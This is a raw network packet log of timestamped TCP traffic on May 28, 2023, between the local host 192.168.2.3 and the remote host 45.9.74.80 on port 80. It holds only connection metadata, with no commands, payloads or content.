May 28, 2023 10:42:56.473742008 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473787069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473831892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473877907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473923922 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473972082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474018097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474062920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474087954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474087954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474108934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474154949 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474200010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474245071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474288940 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474289894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474288940 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474337101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474380970 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474426985 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474472046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474515915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474558115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474601030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474602938 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474602938 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474603891 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474647045 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474663019 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474694967 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474741936 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474813938 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474859953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474879980 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474879980 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.474905968 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474952936 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.474997997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475044012 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475089073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475133896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475135088 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475135088 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475135088 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475176096 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475223064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475265980 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475310087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475315094 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475316048 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475316048 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475353003 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475397110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475445032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475492001 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475536108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475583076 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475627899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475627899 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475627899 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475627899 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475672960 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475719929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475764036 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475809097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475855112 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475899935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475899935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475899935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475899935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.475944996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.475991011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476035118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476053953 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.476080894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476126909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476172924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476219893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476264000 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.476264954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.476264954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.476283073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.476346016 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.486155987 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.501553059 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501631021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501681089 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501728058 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501776934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501825094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501871109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501918077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.501920938 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.501921892 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.501921892 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.501962900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502005100 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502011061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502059937 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502106905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502125978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502154112 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502177954 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502202988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502249002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502295971 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502342939 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502389908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502394915 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502394915 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502440929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502443075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502489090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502536058 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502604008 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502619028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502651930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502681017 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502700090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502746105 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502793074 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502805948 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502840042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502867937 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.502887964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502934933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502984047 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.502989054 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503030062 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503055096 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503077984 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503125906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503173113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503218889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503221035 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503218889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503218889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503267050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503314972 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503369093 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503382921 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503422022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503468990 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503518105 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503565073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503612041 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503613949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503613949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503613949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.503658056 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503705025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503755093 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503802061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503849030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503896952 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503942013 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.503988981 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504035950 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504081011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504084110 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504084110 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504084110 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504127979 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504177094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504223108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504296064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504307032 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504307032 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504344940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504391909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504467964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504559994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504606962 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504650116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504695892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504740953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504784107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504801035 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504801035 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.504828930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504873991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504919052 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.504964113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505011082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505055904 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505101919 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505146027 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505191088 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505235910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505280018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505280018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505280018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505280972 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505323887 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505368948 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505419016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505465031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505508900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505511999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505511999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505511999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505553961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505599976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505624056 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505646944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505692005 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505738020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505784035 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505830050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505875111 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505880117 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505880117 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505880117 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505918980 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.505948067 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.505965948 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506011009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506056070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506072998 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506103039 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506118059 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506153107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506198883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506243944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506290913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506336927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506357908 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506357908 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506381989 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506431103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506475925 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506478071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506478071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506521940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506568909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506613970 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.506680012 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.506680012 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.511497974 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.511581898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.514369011 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.514369011 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.517658949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.531752110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.531855106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.531915903 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.531955957 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.531995058 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532033920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532072067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532078028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532078028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532078028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532114029 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532155037 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532193899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532226086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532226086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532237053 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532299995 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532341003 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532380104 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532424927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532480001 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532483101 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532483101 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532524109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532571077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532614946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532660007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532681942 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532681942 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532706022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532749891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532766104 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532794952 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532807112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532839060 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532883883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532928944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532948971 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.532974005 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.532974005 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533019066 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533063889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533107996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533122063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533152103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533160925 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533195972 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533240080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533286095 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533329964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533379078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533407927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533407927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533428907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533473015 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533516884 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533560991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533603907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533647060 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533648014 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533647060 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533647060 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533691883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533736944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533785105 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533828020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533869982 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533869982 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533873081 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533870935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.533917904 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.533962011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534006119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534049034 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534094095 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534137964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534179926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534179926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534182072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534179926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534226894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534271955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534290075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534317017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534363031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534406900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534454107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534498930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534543037 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534543991 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534543991 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534543991 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534588099 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534599066 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534632921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534677029 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534720898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534764051 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534809113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534853935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534866095 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534866095 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534898043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.534918070 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534943104 CEST	80	49727	45.9.74.80	192.168.2.3
